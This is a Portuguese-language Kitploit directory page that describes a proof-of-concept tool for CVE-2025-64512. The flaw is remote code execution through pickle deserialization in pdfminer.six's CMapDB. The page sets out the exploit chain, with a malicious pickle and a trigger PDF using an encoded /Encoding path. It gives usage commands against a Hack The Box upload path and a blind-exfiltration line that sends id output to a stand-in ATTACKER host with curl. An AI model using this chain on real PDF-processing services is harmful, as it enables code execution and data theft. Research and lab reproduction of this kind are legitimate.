Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-64512-pdfminer-PoC — PoC para CVE-2025-64512: RCE por desserialização de pickle no CMapDB do pdfminer.six via PDF malicioso | Kitploit
Ferramentas/GitHubGitHub/oguzylmzx/cve-2025-64512-pdfminer-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de Payloads
GitHuboguzylmzx/cve-2025-64512-pdfminer-poc

CVE-2025-64512-pdfminer-PoC

PoC para CVE-2025-64512: RCE por desserialização de pickle no CMapDB do pdfminer.six via PDF malicioso

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
2há 26 diasAinda não revisado
Compartilhar

CVE-2025-64512 — PoC de Desserialização do CMapDB do pdfminer.six

Prova de conceito de uma vulnerabilidade de desserialização no pdfminer.six que leva à execução arbitrária de código ao analisar um PDF malicioso.

FINALIDADE / AVISO LEGAL Este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. Ele reproduz uma CVE divulgada publicamente e corrigida. Não o utilize contra sistemas que você não possui ou para os quais não tenha permissão por escrito para testar. O autor não é responsável por qualquer uso indevido. Ambiente pretendido: Hack The Box / VulnHub / laboratório local.

Vulnerabilidade

  • CVE: CVE-2025-64512
  • Afetado: pdfminer.six anterior a 20250506
  • Corrigido: 20250506
  • Tipo: Desserialização de Dados Não Confiáveis (CWE-502)
  • Em cmapdb.py, CMapDB._load_data() lê um arquivo CMap cujo nome é derivado da entrada /Encoding de uma fonte PDF e passa o conteúdo para pickle.loads():

    root@kitploit:~
    def _load_data(cls, name):
        name = name.replace("\0", "")
        filename = "%s.pickle.gz" % name
        log.debug("loading: %r", name)
        cmap_paths = (
            os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
            os.path.join(os.path.dirname(__file__), "cmap"),
        )
        for directory in cmap_paths:
            path = os.path.join(directory, filename)
            if os.path.exists(path):
                gzfile = gzip.open(path)
                try:
                    return type(str(name), (), pickle.loads(gzfile.read()))
                finally:
                    gzfile.close()
        raise CMapDB.CMapNotFound(name)
    

    Três propriedades se combinam para tornar isso explorável:

    1. pickle.loads() em dados controlados pelo atacante -> execução arbitrária de código.
    2. Como o nome do arquivo é absoluto, os.path.join() descarta o diretório de pesquisa e abre o arquivo nesse caminho exato.
    3. .pickle.gz é anexado automaticamente, portanto o caminho é fornecido sem a extensão.

    Cadeia de exploração

    A exploração precisa de dois arquivos enviados para o aplicativo web vulnerável:

    1. payload.pickle.gz — um pickle compactado com gzip cujo __reduce__ executa um comando e retorna um dicionário em formato CMap (para que o parsing continue normalmente após o payload ser disparado).
    2. trigger.pdf — um PDF mínimo que usa uma Type0/CIDFont cuja fonte /Encoding aponta para o caminho absoluto do pickle (sem extensão).

    Dois detalhes no nível do PDF importam:

    • CMapDB.get_cmap() só é alcançado através de uma CIDFont (uma fonte Type0 com uma entrada DescendantFonts), não uma fonte Type1 simples.
    • Um token de nome em PDF começa com um delimitador /, portanto o caminho codificado deve começar com #2f para preservar a barra inicial do caminho absoluto. As barras internas também são #2f porque / é um delimitador de nome.

    Quando o alvo analisa o PDF (por exemplo, um observador em segundo plano chamando pdf2txt.py), CMapDB._load_data() abre o pickle e executa o comando.

    Uso

    root@kitploit:~
    # 1. Build the malicious pickle (gzip-compressed)
    python3 make_payload.py 'id; whoami' -o payload.pickle.gz
    
    # 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
    python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
    
    # 3. Upload both files to the vulnerable PDF upload form, then wait for
    #    the processing watcher to pick up trigger.pdf
    

    Verificado de ponta a ponta contra pdfminer.six 20250416 (vulnerável): executar pdf2txt.py trigger.pdf executa o comando do payload e sai com código 0.

    O comando do payload é cego; exfiltre via callback, por exemplo:

    root@kitploit:~
    python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
    

    Arquivos

    ArquivoFinalidade
    make_payload.pyGera o payload.pickle.gz malicioso
    make_trigger_pdf.pyGera o PDF de gatilho /Encoding com offsets xref corretos

    Referências

    • CVE-2025-64512 (NVD)
    • Changelog do pdfminer.six / commit de correção para 20250506
    • Máquina Bedside do Hack The Box (reprodução autorizada em laboratório)
    Baixar ferramenta